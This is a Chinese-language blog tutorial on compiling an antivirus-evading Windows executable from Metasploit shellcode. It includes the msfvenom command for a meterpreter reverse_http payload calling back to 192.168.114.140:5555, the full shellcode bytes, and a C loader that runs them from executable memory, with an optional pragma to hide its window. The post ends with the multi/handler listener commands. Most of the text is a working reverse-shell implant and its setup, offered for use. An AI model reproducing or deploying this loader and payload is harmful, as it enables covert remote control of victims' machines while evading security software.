使用MSF生成的shellcode打造免杀payload

xiaoxiao2021-02-27  271

环境:

1.Kali攻击机IP:192.168.114.140

2.使用win7生成exe

步骤:

使用msfvenom生成shellcode :

msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c

win7中使用Visual studio创建Win32控制台项目(如果装了gcc,也可以使用gcc编译):

选择空项目

添加cpp文件

复制刚刚用msfvenom命令所生产的shellcode到cpp文件中,代码如下:

#include "windows.h" #include "stdio.h" //#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 //#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 //shellcode在生成payload时选择c即可 unsigned char shellcode[]= "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c" "\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56" "\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\xb3\x15\x00\x00" "\xe8\x6a\x01\x00\x00\x2f\x57\x65\x56\x69\x48\x48\x4e\x41\x6f" "\x4f\x51\x36\x76\x54\x75\x38\x59\x37\x52\x73\x4d\x41\x38\x68" "\x72\x6a\x33\x30\x67\x39\x42\x41\x6c\x42\x35\x66\x45\x68\x33" "\x66\x2d\x65\x68\x69\x6e\x46\x42\x33\x45\x4d\x59\x59\x79\x7a" "\x46\x34\x53\x34\x6c\x50\x74\x4f\x57\x6a\x4e\x63\x46\x6b\x6f" "\x73\x47\x6e\x70\x53\x50\x53\x6e\x33\x64\x73\x53\x7a\x6e\x2d" "\x41\x2d\x50\x56\x39\x74\x2d\x6f\x58\x4f\x56\x45\x30\x47\x55" "\x61\x63\x34\x61\x41\x68\x42\x53\x67\x57\x58\x69\x6c\x71\x52" "\x33\x6b\x6b\x59\x59\x56\x63\x42\x4d\x37\x75\x79\x4f\x70\x38" "\x45\x5f\x4d\x70\x44\x30\x35\x39\x4b\x4b\x6b\x4b\x49\x6c\x6a" "\x48\x51\x50\x2d\x4d\x32\x75\x64\x4e\x58\x47\x63\x51\x35\x5a" "\x4b\x49\x41\x42\x43\x59\x6f\x55\x72\x53\x77\x34\x4e\x59\x35" "\x48\x46\x41\x49\x78\x63\x63\x41\x69\x73\x6c\x43\x4c\x44\x76" "\x57\x5f\x77\x64\x32\x67\x39\x68\x4d\x51\x54\x31\x39\x50\x50" "\x50\x53\x41\x41\x4f\x51\x55\x6b\x68\x4e\x63\x56\x46\x7a\x2d" "\x4c\x4a\x47\x38\x52\x58\x38\x61\x6f\x4c\x6b\x2d\x4b\x34\x77" "\x46\x48\x72\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53" "\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e" "\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06" "\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44" "\xf0\x35\xe0\xff\xd5\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40" "\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53" "\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53" "\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01" "\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39" "\x32\x2e\x31\x36\x38\x2e\x31\x31\x34\x2e\x31\x34\x30\x00\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; void main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); }

编译前设置项目属性如下(否则报错缺少相应的dll):

最后生成exe文件

Kali使用msf做监听:

use exploit/multi/handler

set payloadwindows/meterpreter/reverse_http

set LHOST 192.168.114.140

set LPORT 5555

exploit -j 在计划任务下进行渗透攻击(攻击将在后台进行)

当在目标主机执行后会回连Kali攻击机 192.168.114.140的5555端口:

转载请注明原文地址: https://www.6miu.com/read-2949.html

最新回复(0)